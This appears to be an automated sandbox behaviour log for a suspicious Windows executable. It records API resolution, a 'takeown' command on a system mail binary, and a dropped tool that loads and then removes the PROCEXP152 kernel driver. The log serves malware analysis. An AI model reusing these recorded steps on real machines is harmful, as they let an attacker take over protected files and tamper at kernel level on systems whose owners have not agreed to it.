Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 1627-02-22 14:10:10 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 20037034110	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #36: takeown.exe

0

»

Information	Value
ID	#36
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Mail\wab.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:19, Reason: Child Process
Unmonitor	End Time: 00:02:20, Reason: Self Terminated
Monitor Duration	00:00:01
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xed0
Parent PID	0x13cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x FF0 0x 105C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #37: mxkefu6a64.exe

2520

0

»

Information	Value
ID	#37
File Name	c:\users\fd1hvy\appdata\local\temp\mxkefu6a64.exe
Command Line	mxkeFu6a.exe -accepteula "SmsInterceptStore.db" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:21, Reason: Child Process
Unmonitor	End Time: 00:02:54, Reason: Self Terminated
Monitor Duration	00:00:32

OS Process Information

»

Information	Value
PID	0x106c
Parent PID	0x1378 (c:\users\fd1hvy\desktop\mxkefu6a.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1060 0x F74

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
mxkefu6a64.exe	0x140000000	0x140045FFF	Process Termination	-	64-bit	-			... Region Actions Download Dump

Threads

Thread 0x1060

1892

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\system32\kernel32.dll, base_address = 0x7ff92fdd0000	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, address_out = 0x7ff92fdee1a0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsFree, address_out = 0x7ff92fdee4e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsGetValue, address_out = 0x7ff92fde4710	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsSetValue, address_out = 0x7ff92fdebcd0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x7ff92fdf1fb0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateEventExW, address_out = 0x7ff92fdf1f10	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x7ff92fdf1f70	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x7ff92fdee1e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x7ff92fdeb200	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x7ff931f83770	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x7ff931f80f10	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x7ff931f809e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x7ff92fdee6e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolWait, address_out = 0x7ff931f80ff0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x7ff931f808e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x7ff931fe6fa0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x7ff931fc51c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x7ff931fe99c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x7ff92fdee2c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x7ff92fe06b80	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7ff92f228b70	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x7ff92fe06d50	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CompareStringEx, address_out = 0x7ff92fde8f30	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetDateFormatEx, address_out = 0x7ff92fe06e90	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x7ff92fdec1d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetTimeFormatEx, address_out = 0x7ff92fe070a0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x7ff92fdee3b0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = IsValidLocaleName, address_out = 0x7ff92fe071d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = LCMapStringEx, address_out = 0x7ff92fde62d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetCurrentPackageId, address_out = 0x7ff92f1bf2e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetTickCount64, address_out = 0x7ff92fde5eb0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\appdata\local\temp\mxkefu6a64.exe, file_name_orig = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\system32\kernel32.dll, base_address = 0x7ff92fdd0000	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = IsWow64Process, address_out = 0x7ff92fdec1b0	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Sysinternals	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle, value_name = EulaAccepted, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
User	Lookup Privilege	privilege = SeDebugPrivilege, luid = 20	1	Fn
File	Create	filename = \\.\PROCEXP152, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Create	filename = \\.\Global\PROCEXP152, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
System	Get Info	type = System Directory, result_out = C:\WINDOWS\system32	1	Fn
File	Create	filename = C:\WINDOWS\system32\Drivers\PROCEXP152.SYS, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Get Info	filename = C:\WINDOWS\system32\Drivers\PROCEXP152.SYS, type = file_type	1	Fn
File	Write	filename = C:\WINDOWS\system32\Drivers\PROCEXP152.SYS, size = 32768	1	Fn Data
File	Write	filename = C:\WINDOWS\system32\Drivers\PROCEXP152.SYS, size = 1560	1	Fn Data
User	Lookup Privilege	privilege = SeLoadDriverPrivilege, luid = 10	1	Fn
Registry	Create Key	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152	1	Fn
Registry	Write Value	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152, value_name = Type, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Write Value	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152, value_name = ErrorControl, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Write Value	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152, value_name = Start, data = 3, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Write Value	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152, value_name = ImagePath, data = \??\C:\WINDOWS\system32\Drivers\PROCEXP152.SYS, size = 92, type = REG_SZ	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtLoadDriver, address_out = 0x7ff931fe7300	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlInitUnicodeString, address_out = 0x7ff931f51620	1	Fn
Driver	Load	driver_name = \??\C:\WINDOWS\system32\Drivers\PROCEXP152.SYS	1	Fn
Registry	Delete Key	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152\Enum	1	Fn
Registry	Delete Key	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152\Security	1	Fn
Registry	Delete Key	reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PROCEXP152	1	Fn
File	Create	filename = \\.\PROCEXP152, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Delete	filename = C:\WINDOWS\system32\Drivers\PROCEXP152.SYS	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryInformationProcess, address_out = 0x7ff931fe56b0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryInformationThread, address_out = 0x7ff931fe5830	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySystemInformation, address_out = 0x7ff931fe5a50	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySymbolicLinkObject, address_out = 0x7ff931fe7da0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryDirectoryObject, address_out = 0x7ff931fe7a40	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtOpenSymbolicLinkObject, address_out = 0x7ff931fe77c0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtOpenDirectoryObject, address_out = 0x7ff931fe5e90	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
